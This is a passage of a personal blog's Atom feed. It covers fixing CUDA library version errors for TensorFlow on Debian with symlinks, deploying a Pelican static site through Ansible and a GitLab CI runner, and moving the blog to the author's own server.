dlerror: libcudart.so.10.0:
cannot open shared object file:
No such file or directory
libcublas.so.10.0
libcufft.so.10.0
libcurand.so.10.0
libcusolver.so.10.0
libcusparse.so.10.0
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This file is provided by  &lt;strong&gt;libcudart10.1&lt;/strong&gt;. To find which package provides this file I use &lt;a class="reference external" href="https://wiki.debian.org/apt-file"&gt;apt-file&lt;/a&gt; utility that lets you to search for a particular file among all available packages.&lt;/p&gt;
&lt;p&gt;Attempting to install the package it would reveal that it is already present.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;# apt install libcudart10.1
Reading package lists... Done
Building dependency tree
Reading state information... Done
libcdart10.1 is already the newest version (10.1.105-2).
libcudart10.1 set to manually installed.
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The only other way to fix it is to create a symlink from the version 10.1 to the version required by tensorflow - 10.0.&lt;/p&gt;
&lt;p&gt;If you try to re-run the classifier, you will encounter the same error caused by a different library requirement. The snippet below should fix all errors like this.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;# cd /usr/lib/x86_64-linux-gnu
# ln -s libcudart.so.10.1 libcudart.so.10.0
# ln -s libcublas.so libcublas.so.10.0
# ln -s libcufft.so libcufft.so.10.0
# ln -s libcurand.so libcurand.so.10.0
# ln -s libcusolver.so libcusolver.so.10.0
# ln -s libcusparse.so libcusparse.so.10.0
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Running &lt;strong&gt;classify_image.py&lt;/strong&gt; again will now run successfully and produce desired result.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;giant panda, panda, panda bear, coon bear, Ailuropoda melanoleuca (score = 0.89107)
indri, indris, Indri indri, Indri brevicaudatus (score = 0.00779)
lesser panda, red panda, panda, bear cat, cat bear, Ailurus fulgens (score = 0.00296)
custard apple (score = 0.00147)
earthstar (score = 0.00117)
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="presentation"&gt;
&lt;h2&gt;Presentation&lt;/h2&gt;
&lt;p&gt;Here is the video presentation of the material.&lt;/p&gt;
&lt;div class="youtube youtube-16x9"&gt;&lt;iframe src="https://www.youtube.com/embed/eMu7ynAwECY?t=173" allowfullscreen seamless frameBorder="0"&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;/div&gt;
</content><category term="linux"></category><category term="nvidia"></category><category term="debian"></category><category term="cuda"></category></entry><entry><title>Automatic deployment of pelican blog with ansible and gitlab</title><link href="https://flamy.ca/blog/2020-01-02-automatic-deploy-of-pelican-with-ansible-and-gitlab.html" rel="alternate"></link><published>2020-01-02T00:00:00-05:00</published><updated>2020-01-02T00:00:00-05:00</updated><author><name>Alex Volkov</name></author><id>tag:flamy.ca,2020-01-02:/blog/2020-01-02-automatic-deploy-of-pelican-with-ansible-and-gitlab.html</id><summary type="html">&lt;div class="section" id="intro"&gt;
&lt;h2&gt;Intro&lt;/h2&gt;
&lt;p&gt;I want to be able to edit my blog post from gitlab interface and then have changes automatically deployed to my blog. For that I will setup a gitlab runner on my existing web server and create a CI job to execute on that runner.&lt;/p&gt;
&lt;p&gt;I will use 'website' …&lt;/p&gt;&lt;/div&gt;</summary><content type="html">&lt;div class="section" id="intro"&gt;
&lt;h2&gt;Intro&lt;/h2&gt;
&lt;p&gt;I want to be able to edit my blog post from gitlab interface and then have changes automatically deployed to my blog. For that I will setup a gitlab runner on my existing web server and create a CI job to execute on that runner.&lt;/p&gt;
&lt;p&gt;I will use 'website' tag to mach a runner to the ci configuration.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="ansible-dependencies"&gt;
&lt;h2&gt;Ansible dependencies&lt;/h2&gt;
&lt;p&gt;I've been using &lt;a class="reference external" href="https://github.com/riemers/ansible-gitlab-runner"&gt;riemers.gitlab-runner&lt;/a&gt; playbook for installing gitlab runner, and the latest version 1.5.3 works quite well.&lt;/p&gt;
&lt;p&gt;I also use &lt;a class="reference external" href="https://github.com/avanov/ansible-galaxy-pyenv"&gt;avanov.pyenv&lt;/a&gt; playbook to install python versions on a target machine, python development dependencies should be installed on the target machine.&lt;/p&gt;
&lt;p&gt;My &lt;cite&gt;requirements.yml&lt;/cite&gt; file looks like the following&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;src&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;avanov.pyenv&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;src&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;riemers.gitlab-runner&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;version&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;v1.5.3&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Installing ansible requirements:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;ansible-galaxy install -r requirements.yml
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="installing-gitlab-runner"&gt;
&lt;h2&gt;Installing gitlab-runner&lt;/h2&gt;
&lt;p&gt;Use the following settings in gitlab-runner role, &lt;strong&gt;webserver&lt;/strong&gt; host is defined in hosts file with tag 'website' identifying the runner that has capabilities to run pelican deployment jobs (this will come in handy in CI definition).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;hosts&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;webserver&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;roles&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;role&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;riemers.gitlab-runner&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;gitlab_runner_coordinator_url&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;https://gitlab.server&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;gitlab_runner_registration_token&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;--secret--&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;gitlab_runner_package_name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;gitlab-runner&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;gitlab_runner_concurrent&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;1&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;gitlab_runner_runners&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;webserver&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nt"&gt;concurrent_specific&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;1&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nt"&gt;tags&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p p-Indicator"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;website&lt;/span&gt;&lt;span class="p p-Indicator"&gt;]&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nt"&gt;run_untagged&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;false&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nt"&gt;locked&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;true&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;become&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;true&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Then set up required python version along with a virtualenv for the CI job. In this case virtualenv is called 'pelican'.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;hosts&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;webserver&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;roles&lt;/span&gt;&lt;span class="p p-Indicator"&gt;:&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;role&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;avanov.pyenv&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="w w-Error"&gt; &lt;/span&gt;&lt;span class="nt"&gt;pyenv_path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;/home/gitlab-runner/pyenv&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;pyenv_owner&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;gitlab-runner&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;pyenv_update_git_install&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;no&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;pyenv_enable_autocompletion&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;no&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;pyenv_python_versions&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;3.6.5&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;pyenv_virtualenvs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;venv_name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;pelican&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;py_version&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;3.6.5&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;To set permissions on a target folder to be owned by gitlab-runner. A file task for that can be defined as part of a role.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;ownership for static site dir is set&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;file&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;/srv/flamy_ca&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;state&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;directory&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;recurse&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;yes&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;gitlab-runner&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;group&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;gitlab-runner&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="defining-ci-script"&gt;
&lt;h2&gt;Defining CI script&lt;/h2&gt;
&lt;p&gt;I added the following to my &lt;strong&gt;.gitlab-ci.yml&lt;/strong&gt; at the root of the project folder. It is basically development deployment, with the addition of the first two commands activating virtual environment, and installing all pelican dependencies.&lt;/p&gt;
&lt;p&gt;Instead of 'make html' to generate static site, use 'make publish' which imports production settings from &lt;strong&gt;publishconf.py&lt;/strong&gt; instead of pelicanconf.py.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="nt"&gt;stages&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;deploy&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="nt"&gt;prod deploy&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;stage&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;deploy&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;source /home/gitlab-runner/pyenv/.pyenvrc&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;pyenv activate pelican&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;pip install -r requirements.txt&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;make clean&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;make publish&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;rsync --archive --delete --progress output/* /srv/flamy_ca&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;tags&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;website&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;only&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;master&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This script only runs on master branch and only in a runner that has 'website' tag defined.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="pitfalls"&gt;
&lt;h2&gt;Pitfalls&lt;/h2&gt;
&lt;p&gt;There is an issue with debian system where you might get &lt;strong&gt;'No Such file or directory'&lt;/strong&gt; when running a running the deploy. It appears there is a bug in &lt;strong&gt;.bash_logout&lt;/strong&gt; file.&lt;/p&gt;
&lt;p&gt;Deleting the file solves the issue, for more details see &lt;a class="reference external" href="https://stackoverflow.com/questions/58431515/how-to-fix-no-such-file-or-directory-during-gitlab-ci-run"&gt;this stackoverflow question&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
</content><category term="self-hosting"></category><category term="pelican"></category><category term="web"></category><category term="ansible"></category><category term="gitlab"></category><category term="gitlab-ci"></category><category term="ci"></category><category term="blog"></category></entry><entry><title>Moving pelican blog to own server</title><link href="https://flamy.ca/blog/2020-01-01-moving-pelican-blog-to-own-server.html" rel="alternate"></link><published>2020-01-01T00:00:00-05:00</published><updated>2020-01-01T00:00:00-05:00</updated><author><name>Alex Volkov</name></author><id>tag:flamy.ca,2020-01-01:/blog/2020-01-01-moving-pelican-blog-to-own-server.html</id><summary type="html">&lt;div class="section" id="rationale"&gt;
&lt;h2&gt;Rationale&lt;/h2&gt;
&lt;p&gt;For the longest time my website consisted only of a contact page -- it was a pyramid process that served only a single template page, with a very few variables on it. Talk about overkill.&lt;/p&gt;
&lt;p&gt;Given that, when I created my blog with &lt;a class="reference external" href="https://blog.getpelican.com/"&gt;Pelican static site generator&lt;/a&gt; I just threw …&lt;/p&gt;&lt;/div&gt;</summary><content type="html">&lt;div class="section" id="rationale"&gt;
&lt;h2&gt;Rationale&lt;/h2&gt;
&lt;p&gt;For the longest time my website consisted only of a contact page -- it was a pyramid process that served only a single template page, with a very few variables on it. Talk about overkill.&lt;/p&gt;
&lt;p&gt;Given that, when I created my blog with &lt;a class="reference external" href="https://blog.getpelican.com/"&gt;Pelican static site generator&lt;/a&gt; I just threw it up on github.io and kind of forgot about, except for the times when I felt that I had something to say.&lt;/p&gt;
&lt;p&gt;I thought I was going to expand  my website at some point, but I never did, in fact running one-off web application took surprising amount of effort: debian python system version would get updated, pyramid app will get security patches, and the virtualenv that runs from &amp;#64;reboot cronjob would inevitably break.&lt;/p&gt;
&lt;p&gt;I didn't want to keep maintaining pyramid stack just for a single page, and expending it into something bigger would mean coding styling from scratch, instead using an existing theme for an existing static site generator would be way simpler.&lt;/p&gt;
&lt;p&gt;When my interest in videography became serious where that I actually  end up getting a few referrals, I needed a page to to show my work. I would also need a place to group any of the articles or instructional videos I have in mind.&lt;/p&gt;
&lt;p&gt;About a month ago I removed google analytics from my blog, but I'm still a bit curious how people are visiting my site, and when I host content on my own server I have logs which I can analyze without also giving google all the information.&lt;/p&gt;
&lt;p&gt;This ended up being one of my holiday projects.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="styling"&gt;
&lt;h2&gt;Styling&lt;/h2&gt;
&lt;p&gt;I wanted to switch from standard layout by Smart Magazine to something that displays a bit more content. I looked through a collection of &lt;a class="reference external" href="http://www.pelicanthemes.com/"&gt;pelican themes&lt;/a&gt;  and settled on a &lt;a class="reference external" href="https://github.com/mc-buckets/brutalist"&gt;Brutalist pelican theme&lt;/a&gt; that follows &lt;a class="reference external" href="https://brutalist-web.design/"&gt;Brutalist Web Design&lt;/a&gt; philosophy.&lt;/p&gt;
&lt;p&gt;I made a couple of minor tweaks to the theme: article description text has more contrast, content element has smaller padding that more content is displayed horizontally, tables have visible cell borders and MASTODON is available as an option in  social media links section. See &lt;a class="reference external" href="https://github.com/avolkov/brutalist"&gt;my fork on github&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="configuration-changes"&gt;
&lt;h2&gt;Configuration changes&lt;/h2&gt;
&lt;p&gt;Pelican has ability to have static pages and articles (blog posts).&lt;/p&gt;
&lt;p&gt;Before the move I used pelican only for blogging, and adding back article in the exact way I wanted was the most involved part.
What I wanted to have is a number of articles linked from the front page, and all the blog articles live under url /blog/.&lt;/p&gt;
&lt;p&gt;In this &lt;a class="reference external" href="https://stackoverflow.com/questions/23709113/in-pelican-how-to-create-a-page-dedicated-to-hosting-all-the-blog-articles/59508010#59508010"&gt;stack overflow answer&lt;/a&gt; the author of pelican project describes how to implement what I wanted. However, I didn't have patience to resolve the issue in this way -- I kept getting template rendering failure with no clear error message, so I 'well, actually' &lt;a class="reference external" href="https://stackoverflow.com/a/59508010/86294"&gt;my own answer&lt;/a&gt; that has fewer drastic changes, but may need more maintenance in the long run, as in my case article pages only show up in navigation when they are added to MENUITEMS list.&lt;/p&gt;
&lt;p&gt;Here is my &lt;strong&gt;pelicanconf.py&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="ch"&gt;#!/usr/bin/env python&lt;/span&gt;
&lt;span class="c1"&gt;# -*- coding: utf-8 -*- #&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;__future__&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;unicode_literals&lt;/span&gt;

&lt;span class="n"&gt;AUTHOR&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Alex Volkov&amp;#39;&lt;/span&gt;
&lt;span class="n"&gt;SITENAME&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Alex Volkov | A personal electronic web page&amp;#39;&lt;/span&gt;
&lt;span class="n"&gt;FIRST_NAME&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Alex&amp;#39;&lt;/span&gt;
&lt;span class="n"&gt;SITEURL&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;https://flamy.ca&amp;#39;&lt;/span&gt;

&lt;span class="n"&gt;PATH&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;content&amp;#39;&lt;/span&gt;

&lt;span class="n"&gt;TIMEZONE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;America/Toronto&amp;#39;&lt;/span&gt;
&lt;span class="n"&gt;DEFAULT_LANG&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;en&amp;#39;&lt;/span&gt;

&lt;span class="c1"&gt;# Feed generation is usually not desired when developing&lt;/span&gt;
&lt;span class="n"&gt;FEED_ALL_ATOM&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;
&lt;span class="n"&gt;CATEGORY_FEED_ATOM&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;
&lt;span class="n"&gt;TRANSLATION_FEED_ATOM&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;
